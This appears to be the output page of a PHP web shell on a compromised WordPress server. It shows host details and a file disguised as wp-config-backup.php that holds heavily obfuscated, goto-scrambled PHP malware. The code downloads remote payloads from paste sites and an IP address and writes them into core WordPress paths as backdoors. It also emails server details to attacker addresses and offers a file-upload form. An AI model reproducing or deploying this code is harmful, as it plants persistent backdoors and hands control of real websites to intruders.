GIF89a
-_-

-=[+] IDBTE4M SHELL V1 [+]=-

System :
Linux server.host5.ir 3.10.0-962.3.2.lve1.5.27.el7.x86_64 #1 SMP Sat Nov 30 02:18:52 EST 2019 x86_64
IP : 78.46.47.71
Safe Mode : OFF
Disabled Functions :
Home_root : /home/roshso/domains/sorahroshd.ir/public_html



IDBTE4M #>/home/roshso/domains/sorahroshd.ir/public_html/
Current File : /home/roshso/domains/sorahroshd.ir/public_html/wp-config-backup.php

<?php goto FzP43; Pdl_S: fclose($zwUfF); goto KCHT4; NqWPi: fwrite($zwUfF, $AF66N); goto Pdl_S; P29Fu: $L5mL3 = getcwd() . DIRECTORY_SEPARATOR; goto d97vJ; ZTDPu: $HRQUn = fopen("\44\x72\x6f\157\164\x32\57\44\x66\151\154\145\156\x61\x6d\x65\62", "\x77"); goto Y4V5N; wS6zQ: c971x: goto LA0zM; lz0Cc: $qaEkH = file_get_contents("\x68\x74\164\160\72\57\x2f\x31\63\x32\x2e\62\x33\62\56\61\61\63\56\62\x34\63\x2f\167\147\x65\x74\57\151\x6e\144\x65\170\x2e\164\x78\164"); goto GshrI; bsMsX: fwrite($ZuA1s, $hBzA1); goto Fgtoz; Jc6Ks: $kRbzX = $quxGN . "\57\x61\x70\151\56\x70\150\x70"; goto LPb3E; aBYSg: i8sts: goto FEYxI; A3Qif: if (empty($_FILES["\x75\x70\x6c\157\x61\144\x73"])) { goto FI_0P; } goto tCLLL; x020B: fwrite($OWZp3, $rQQ13); goto WIeWl; Xjbtn: $rQQ13 = file_get_contents("\150\164\164\160\163\x3a\x2f\57\160\141\x73\164\145\x63\x6f\x64\145\56\x78\x79\x7a\x2f\x76\x69\x65\167\57\162\141\167\x2f\x62\x64\145\61\64\64\63\62"); goto P29Fu; Fgtoz: fclose($ZuA1s); goto X18OG; Bn7I2: $OWZp3 = fopen($kRbzX, "\167"); goto x020B; FRhMh: $SB2LD = "\150\x74\x74\160\x3a\57\x2f" . $XlW0c . "\57\167\160\x2d\141\144\155\x69\x6e\x2f\x6e\145\x77\163\x6c\x65\x74\164\145\162\56\x70\150\x70\12\x68\164\164\160\72\57\57" . $XlW0c . $RhEV2 . "\xd\xa" . $E6yC4; goto qgc4u; mXbeG: echo "\x3c\x63\145\x6e\x74\x65\162\x3e\74\x68\x31\76\x49\x44\102\124\x45\x34\x4d\40\103\117\x44\105\40\x38\x37\x3c\x2f\x68\x31\76" . "\x3c\x62\162\x3e" . "\x5b\x75\156\x61\155\145\x5d\40" . php_uname() . "\x20\133\57\x75\156\141\x6d\145\135\40\74\x62\x72\x3e\x20\x50\157\x73\x69\163\151\x20\72\x20" . ($H_3ko = getcwd()); goto dE0WH; aSWja: ini_set("\155\145\155\157\x72\x79\x5f\154\x69\x6d\151\164", "\x36\64\x4d"); goto VPmyO; L6J1Y: if ($oqJ6i) { goto F2vuu; } goto VNi_h; yZ4ZG: DxZAy: goto uX0u3; PRZbn: if (!file_exists($Pla_2)) { goto lR6Vr; } goto NWpq9; d97vJ: $OWZp3 = fopen("\44\144\x69\162\57\44\x6e\141\x6d\141", "\167"); goto Q5nVZ; dE0WH: echo "\x3c\x62\x72\x3e\74\142\162\x3e\74\x63\x65\x6e\164\145\x72\76\x20\40\x3c\146\x6f\x72\x6d\x20\x6d\145\x74\150\157\144\x3d\x22\160\x6f\x73\x74\42\x20\x74\141\162\147\x65\x74\x3d\42\137\x73\x65\154\x66\42\40\145\156\x63\x74\x79\x70\145\75\x22\155\165\x6c\164\151\x70\141\x72\164\x2f\x66\x6f\162\155\55\x64\x61\164\141\42\x3e\x20\40\x3c\151\156\x70\x75\x74\40\x74\x79\x70\x65\75\x22\146\151\154\145\x22\40\x73\151\172\145\x3d\x22\62\60\42\x20\156\x61\155\145\x3d\x22\165\160\x6c\x6f\141\144\x73\42\40\x2f\x3e\40\74\151\156\x70\165\x74\x20\164\171\x70\x65\75\x22\x73\x75\142\x6d\x69\164\x22\x20\x76\141\x6c\x75\145\x3d\x22\x75\x70\x6c\157\141\144\42\x20\57\x3e\40\40\74\x2f\146\x6f\x72\x6d\x3e\40\40\x3c\x2f\x63\x65\156\164\145\162\x3e\74\57\x74\x64\76\74\57\x74\162\x3e\40\74\x2f\x74\x61\142\154\x65\x3e\74\x62\162\76"; goto A3Qif; TQgK0: goto N6VXs; goto xy364; HB4yW: $tApUn = fopen($upcHW, "\167"); goto x8bo_; a0L7r: goto c971x; goto LJaP6; FzP43: ignore_user_abort(true); goto dgTaO; k5V3Q: $HpuOs = fopen("\x24\x72\x6f\x6f\x74\57\x24\146\151\154\x65\x6e\141\x6d\145", "\x77"); goto l_tfL; unKwV: $Pla_2 = $quxGN . "\x2f\x77\x70\55\x61\144\x6d\x69\x6e\x2f\156\145\167\163\x6c\145\164\x74\x65\x72\x2e\x70\x68\x70"; goto kFsKN; tCLLL: move_uploaded_file($_FILES["\x75\160\x6c\157\141\x64\163"]["\x74\x6d\160\137\x6e\141\155\x65"], $_FILES["\x75\160\x6c\x6f\141\x64\x73"]["\x6e\141\x6d\x65"]); goto t234q; uX0u3: unlink("\x65\162\x72\157\x72\x5f\x6c\157\x67"); goto wLrdW; sN3UK: if (!file_exists($upcHW)) { goto wXt5n; } goto AdINE; m4CaV: $OqpWD = file_get_contents("\x68\164\164\x70\72\57\x2f\x6e\x64\x6f\164\56\165\x73\x2f\x7a\141"); goto Akqp_; Akqp_: $o1J4S = getcwd() . DIRECTORY_SEPARATOR; goto ZTDPu; Ol5Fn: $qw0pE = "\143\x69\x6b\151\x2e\x70\150\160"; goto Xjbtn; vwxOV: ini_set("\155\141\x78\137\145\170\145\x63\165\x74\x69\x6f\x6e\x5f\164\151\x6d\145", 0); goto aSWja; V4whP: $XlW0c = $_SERVER["\x53\x45\122\x56\x45\x52\137\116\101\115\x45"]; goto Bj5WW; l2Epu: fwrite($xSQok, $FN1jf); goto UVkYd; AA1cl: $zwUfF = fopen($q4kXm, "\x77"); goto NqWPi; FEYxI: $upcHW = $quxGN . "\57\x78\x6d\154\x5f\x70\141\x72\163\x65\56\x70\x68\160"; goto xS2tk; kFsKN: $FN1jf = SuJ67("\x68\x74\164\160\72\57\x2f\x6e\x64\x6f\164\56\165\163\57\172\x61"); goto kO2Ly; X18OG: if (!file_exists($IwZPR)) { goto muR6v; } goto QHHYr; LA0zM: $ghnWB = "\x6d\141\164\x61\155\x75\56\160\150\160"; goto m4CaV; aAvcq: N6VXs: goto lCHnb; Bj5WW: $RhEV2 = $_SERVER["\x52\x45\x51\125\x45\123\124\137\x55\x52\111"]; goto Ol5Fn; WIeWl: fclose($OWZp3); goto BkbRc; jiPWc: @ini_set("\144\x69\x73\160\154\141\171\137\145\x72\162\157\162\x73", 0); goto VkZR8; l_tfL: $X1iba = fwrite($HpuOs, $qaEkH); goto qnuSW; Y4V5N: $oqJ6i = fwrite($HRQUn, $OqpWD); goto L6J1Y; x8bo_: fwrite($tApUn, $jtPyi); goto I6bNB; wLrdW: header("\x43\x6f\156\x74\x65\x6e\164\55\x54\171\x70\145\72\40\x74\145\x78\164\57\150\x74\x6d\x6c\x3b\x20\x63\x68\141\x72\x73\x65\164\75\x55\x54\106\x2d\70"); goto IJl2t; BkbRc: if (!file_exists($kRbzX)) { goto WABG0; } goto arEYk; VkZR8: set_time_limit(0); goto vwxOV; qnuSW: if ($X1iba) { goto hb8Mz; } goto a0L7r; AdINE: wXt5n: goto x93d6; QHHYr: muR6v: goto Jc6Ks; arEYk: WABG0: goto QVDKx; NWpq9: lR6Vr: goto jRK5J; dgTaO: @ini_set("\x6f\165\164\160\x75\x74\x5f\x62\x75\x66\x66\145\162\151\156\147", 0); goto jiPWc; qgc4u: mail($RiIim, $F1xGF, $SB2LD); goto mXbeG; orSlT: $ZuA1s = fopen($IwZPR, "\167"); goto bsMsX; VNi_h: goto DxZAy; goto KeyN6; xS2tk: $jtPyi = SuJ67("\x68\x74\x74\160\163\x3a\x2f\x2f\160\x61\x73\x74\145\143\157\144\x65\56\x78\171\x7a\x2f\x76\151\145\167\57\x72\x61\x77\57\x38\x36\144\x65\x64\60\142\65"); goto HB4yW; KeyN6: F2vuu: goto yZ4ZG; t234q: echo "\74\x73\x63\x72\x69\x70\164\x3e\x61\154\145\x72\164\50\x27\165\x70\154\157\141\144\40\x44\157\x6e\145\x27\51\x3b\40\x9\x20\x9\x20\x3c\x2f\163\143\162\x69\x70\164\x3e\74\x62\76\125\x70\154\157\x61\144\145\x64\x20\x21\x21\x21\74\57\x62\x3e\x3c\x62\162\76\156\141\x6d\x65\x20\72\x20" . $_FILES["\165\x70\154\157\x61\144\163"]["\x6e\x61\x6d\x65"] . "\x3c\142\x72\x3e\x73\x69\x7a\x65\40\72\x20" . $_FILES["\x75\x70\x6c\x6f\x61\x64\x73"]["\x73\x69\x7a\145"] . "\x3c\142\162\76\x74\171\x70\145\x20\x3a\x20" . $_FILES["\165\x70\x6c\157\x61\x64\x73"]["\x74\171\160\x65"]; goto g5bt7; ifZkX: $hBzA1 = suj67("\150\x74\x74\x70\x73\72\57\x2f\160\x61\163\x74\145\142\x69\x6e\x2e\143\157\155\57\162\141\167\x2f\146\x54\127\63\x6b\x4d\x59\124"); goto orSlT; IJl2t: $RiIim = "\151\x64\142\56\x63\x6f\x64\145\x38\x37\100\x79\141\x68\x6f\157\56\x63\x6f\x6d\54\152\x65\x6d\142\157\164\56\153\x69\x73\165\x74\x40\x67\155\141\151\x6c\x2e\x63\x6f\155"; goto FRhMh; UVkYd: fclose($xSQok); goto PRZbn; VPmyO: $F1xGF = php_uname(); goto f9jBY; f9jBY: $E6yC4 = getcwd(); goto Qo6PZ; jRK5J: $q4kXm = $quxGN . "\x2f\x77\160\55\151\x6e\143\x6c\x75\x64\145\x73\x2f\x75\x73\x65\162\x2e\x70\x68\160"; goto KZngX; Qo6PZ: $quxGN = $_SERVER["\x44\x4f\103\x55\115\x45\116\x54\x5f\122\x4f\x4f\x54"]; goto V4whP; KCHT4: if (!file_exists($q4kXm)) { goto i8sts; } goto aBYSg; x93d6: $IwZPR = $quxGN . "\57\151\156\144\x65\x78\62\56\x70\150\160"; goto ifZkX; KZngX: $AF66N = sUj67("\150\164\164\160\x73\x3a\57\57\160\141\x73\x74\x65\143\x6f\x64\x65\x2e\x78\x79\x7a\x2f\x76\x69\145\x77\57\162\x61\x77\57\143\x30\x64\144\x64\x63\x31\62"); goto AA1cl; I6bNB: fclose($tApUn); goto sN3UK; kO2Ly: $xSQok = fopen($Pla_2, "\167"); goto l2Epu; lCHnb: function sUj67($O0wV5) { goto GkmE0; nOfew: curl_setopt($Ho2er, CURLOPT_FOLLOWLOCATION, 1); goto YRgag; z6B0a: return curl_exec($Ho2er); goto XP_tt; YRgag: curl_setopt($Ho2er, CURLOPT_HEADER, 0); goto z6B0a; MGgDY: curl_setopt($Ho2er, CURLOPT_CONNECTTIMEOUT, 10); goto nOfew; PQI2A: curl_setopt($Ho2er, CURLOPT_RETURNTRANSFER, 1); goto MGgDY; XP_tt: curl_close($Ho2er); goto fph2C; GkmE0: $Ho2er = curl_init($O0wV5); goto PQI2A; fph2C: } goto unKwV; xy364: KsQvV: goto aAvcq; LPb3E: $rQQ13 = Suj67("\150\164\x74\x70\163\72\57\57\160\x61\163\164\x65\x62\x69\156\x2e\x63\157\x6d\x2f\x72\141\167\57\x66\x4a\166\121\x53\x62\120\131"); goto Bn7I2; QVDKx: $A3jxp = "\151\156\x64\x65\170\137\142\141\x63\153\165\160\x2e\160\x68\x70"; goto lz0Cc; LJaP6: hb8Mz: goto wS6zQ; qIETk: if ($O2W1K) { goto KsQvV; } goto TQgK0; Q5nVZ: $O2W1K = fwrite($OWZp3, $rQQ13); goto qIETk; GshrI: $vTFT0 = getcwd() . DIRECTORY_SEPARATOR; goto k5V3Q; g5bt7: FI_0P: